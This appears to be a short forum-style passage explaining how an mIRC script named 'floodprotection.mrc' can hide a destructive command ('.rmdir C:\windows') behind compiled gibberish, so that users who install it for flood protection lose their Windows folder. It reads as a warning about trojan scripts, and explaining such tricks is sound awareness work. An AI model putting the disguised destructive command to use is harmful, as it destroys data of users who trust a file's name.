.rmdir C:\windows

save as -> floodprotection.mrc
compile -> floodprotection.mrc

now someone goes and downloads floodprotection.mrc, and if they look in the file, they see a bunch of "gibberish" so they can't tell what it does. So they say "well it's called flood protection, and thats what I want" so they install it. Next thing they know, Windows is gone.